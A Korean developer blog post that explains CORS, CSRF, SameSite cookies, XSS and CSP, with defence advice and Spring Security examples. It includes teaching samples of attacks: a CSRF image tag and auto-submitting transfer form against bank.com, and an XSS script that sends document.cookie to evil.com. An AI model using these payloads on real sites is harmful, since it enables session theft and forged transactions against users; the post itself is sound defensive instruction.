본문 바로가기
개발

CORS, CSRF, XSS, CSP, SameSite 정리

by Debin 2025. 12. 14.
반응형

CORS (Cross-Origin Resource Sharing)

웹에서는 보안을 위해 기본적으로 한 웹 페이지(출처 A)에서 다른 웹 페이지(출처 B)의 데이터를 직접 불러오는 것을 제한하는데 이를 '동일 출처 정책(Same-Origin Policy)' 이라고 한다.

 

기본적으로 브라우저는 다른 origin으로의 요청 결과를 JavaScript가 읽지 못하게 막으며, CORS는 서버가 "이 origin은 허용한다"고 명시적으로 풀어주는 방식이다.

 

Origin이란 scheme + host + port (서브도메인도 다른 origin)

 

CORS는 Simple Request와 Preflight 2가지가 있다.

 

Simple Request 조건 (전부 만족 시):

  • 메서드: GET, HEAD, POST
  • 헤더: Accept, Accept-Language, Content-Language, Content-Type 정도만
  • Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain

Preflight 발생 조건:

  • PUT, DELETE, PATCH 등
  • Authorization 헤더
  • Content-Type: application/json

 

한계

  • 서버 프록시로 우회 가능
  • 브라우저 보안일 뿐 서버 보안 아니다.
  • 브라우저가 응답을 막는 것이므로 curl, Postman에서는 CORS 에러가 발생하지 않는다.

스프링 시큐리티 사용을 가정 하에 흐름 정리

1. 브라우저 → 서버: 요청 (Origin: https://client.com)
2. 서버(CorsFilter): 응답에 Allow 헤더 붙임
3. 서버 → 브라우저: 응답 + CORS 헤더
4. 브라우저: 헤더 확인 → 허용/차단

CSRF (Cross-Site Request Forgery)

악성 사이트가 사용자 브라우저를 이용해 쿠키가 자동 첨부된 요청을 보내게 만드는 공격이다.

쉽게 말해, 사용자가 로그인된 상태를 악용해서 의도하지 않은 요청을 보내게 만드는 공격이다.

 

공격 시나리오

  1. 사용자가 bank.com에 로그인함 (세션 쿠키가 브라우저에 저장됨)
  2. 로그아웃 안 한 채로 악성 사이트 evil.com 방문
  3. evil.com에 이런 코드가 숨겨져 있음 <img src="https://bank.com/transfer?to=hacker&amount=1000000">
  4. 브라우저가 이 요청을 보낼 때 bank.com의 쿠키를 자동으로 첨부함
  5. 서버는 정상 요청으로 인식 → 송금 실행

 

핵심 포인트

  • 브라우저는 해당 도메인에 요청할 때 쿠키를 자동으로 보낸다.
  • 서버 입장에서는 정상 사용자의 요청처럼 보인다.
  • 사용자는 자기도 모르게 요청을 보내게 된다.

방어 방법:

  • CSRF 토큰: 서버가 발급한 토큰을 폼에 포함시켜야 요청 처리
  • SameSite 쿠키: SameSite=Strict 또는 Lax로 설정
  • Origin/Referer 검증: 요청이 어디서 왔는지 확인
  • Custom 헤더 요구: X-Requested-With 같은 헤더 필수화 (preflight 유발)

SameSite

3가지 속성이 존재한다.

 

Strict

  • Stric 동일 사이트에서 오는 모든 요청에 쿠키가 포함되고 크로스 사이트간 HTTP 요청에 쿠키가 포함되지 않는다.

Lax

  • 동일 사이트에서 오거나 Top Level Navigation 에서 오는 요청 및 메소드가 읽기 전용인 경우 쿠키가 전송되고 그렇지 않으면 HTTP 요청에 쿠키가 포함되지 않는다.
  • 사용자가 링크(<a>)를 클릭하거나 window.location.replace , 302 리다이렉트 등의 이동이 포함된다. 그러나 <iframe>이나 <img>를 문서에 삽입, AJAX 통신 등은 쿠키가 전송되지 않는다.

None

  • 동일 사이트 및 크로스 사이트 요청의 경우에도 쿠키가 전송된다. 이 모드에서는 HTTS 의한 Secure 쿠키로 설정되야 한다

질문 1. CORS 만 있으면 CSRF를 전부 막을 수 있을까?

<!-- 악성 사이트 evil.com -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>

이 폼 제출은 CORS 검사 없이 그냥 실행된다.

브라우저는 "simple request"로 분류되는 요청(GET, POST with form data 등)을 preflight 없이 보내기 때문이다.

 

그러나 CORS도 도움이 되는 부분이 존재한다.

JSON API처럼 Content-Type: application/json을 요구하면 preflight가 발생하고,

서버가 허용하지 않은 origin은 요청 자체가 차단된다.

하지만 이것도 CORS 설정이 제대로 되어 있을 때만 유효하다.

결론: CORS는 CSRF 방어의 보조 수단일 뿐, 주된 방어책이 아니다.

 

질문 2. CORS 를 적용하고 SameSite가 Lax면 CSRF를 전부 막을 수 있을까?

Lax의 동작 방식은 아래와 같이 정리할 수 있다.

  • 링크 클릭 (GET) -> 쿠키 전송
  • 주소창 직접 입력 -> 쿠키 전송
  • <form method="POST"> -> 차단
  • <form method="GET"> (cross-site) -> 차단
  • fetch() / XMLHttpRequest -> 차단
  • <img>, <iframe> -> 차단

훌륭해보이지만 결국 GET 요청으로 상태를 변경하는 API가 있다면 위험하다.

 

결론은 다음과 같다.

  • Lax가 안전한 이유: POST/PUT/DELETE 같은 상태 변경 요청에서 cross-site 쿠키를 차단
  • 전제 조건: GET 요청이 상태를 변경하지 않아야 한다. (RESTful 설계)
  • 더 안전하게: SameSite=Strict를 쓰면 링크 클릭도 차단하지만, UX가 불편해질 수 있다.

XSS (Cross-Site Scripting)

악성 스크립트를 웹사이트에 삽입해서 다른 사용자 브라우저에서 실행시키는 공격.

 

시나리오

1. 게시판에 이런 글을 작성

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

2. 다른 사용자가 이 글을 보면 스크립트가 실행된다.

3. 그 사용자의 쿠키가 evil.com으로 전송되며, 쿠키 탈취가 완료된다.

 

CSRF와 달리 쿠키 값 자체를 훔칠 수 있는 것이다.

 

방어 로직

 

  • HttpOnly 쿠키 → JavaScript로 쿠키 접근 불가
  • 사용자 입력 이스케이프 처리 (<script> → &lt;script&gt;)
  • CSP (Content Security Policy) 설정 (브라우저가 지원하는 보안 정책)

참고 1. CSP란? 

CSP는 웹 브라우저에서 실행할 수 있는 리소스의 출처를 제한하는 보안 정책이다.

HTTP 헤더를 통해 설정하며, XSS 공격을 효과적으로 차단한다.

 

동작 원리

1. 브라우저가 페이지를 로드할 때 CSP 헤더를 확인하고, 허용되지 않은 출처의 스크립트/리소스 실행을 차단한다.

Content-Security-Policy: script-src 'self' https://trusted.com

 

이 설정은 자기 도메인trusted.com에서 온 스크립트만 실행을 허용한다.

 

주요 디렉티브

  • script-srcJavaScript 실행 출처
  • style-srcCSS 로드 출처
  • img-src이미지 로드 출처
  • connect-srcAJAX/WebSocket 연결 출처
  • default-src기본 정책 (다른 디렉티브 미설정 시 적용)

XSS 차단 예시

공격자가 인라인 스크립트를 삽입한다.

<script>alert('XSS')</script>

그래도 CSP에서 script-src 'self'로 설정되어 있으면, 인라인 스크립트 실행이 차단된다.

 

아래는 스프링 설정 예시다.

@Override
protected void configure(HttpSecurity http) throws Exception {
    http.headers()
        .contentSecurityPolicy("script-src 'self'");
}

 

CSP란 브라우저 정책이므로 서버에서 해당 헤더를 담아서 브라우저에 요청을 하는 개념이라고 생각하면 되겠다.

반응형